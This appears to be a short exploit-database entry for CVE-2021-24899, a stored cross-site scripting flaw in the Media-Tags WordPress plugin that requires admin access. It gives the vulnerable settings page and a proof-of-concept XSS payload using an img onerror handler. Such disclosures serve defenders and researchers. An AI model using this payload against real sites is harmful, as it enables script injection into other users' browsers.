Exploit for Media-Tags <= 3.2.0.2 - Admin+ Stored Cross-Site Scripting CVE-2021-24899

Name: Exploit for Media-Tags <= 3.2.0.2 - Admin+ Stored Cross-Site Scripting CVE-2021-24899
Rating: 5 (77 reviews)

2021-10-25 | CVSS 3.5

## https://sploitus.com/exploit?id=WPEX-ID:CF4B266C-D68E-4ADD-892A-D01A31987A4B
https://drive.google.com/file/d/1ZXIS-q2fzZhRhTyHpHEzxc_Z2Shl4Up2/view?usp=sharing

Put the following payload in any of the Media-Tags Labels settings (/wp-admin/admin.php?page=mediatags_settings_panel): "><img src=x onerror=confirm(/XSS/)>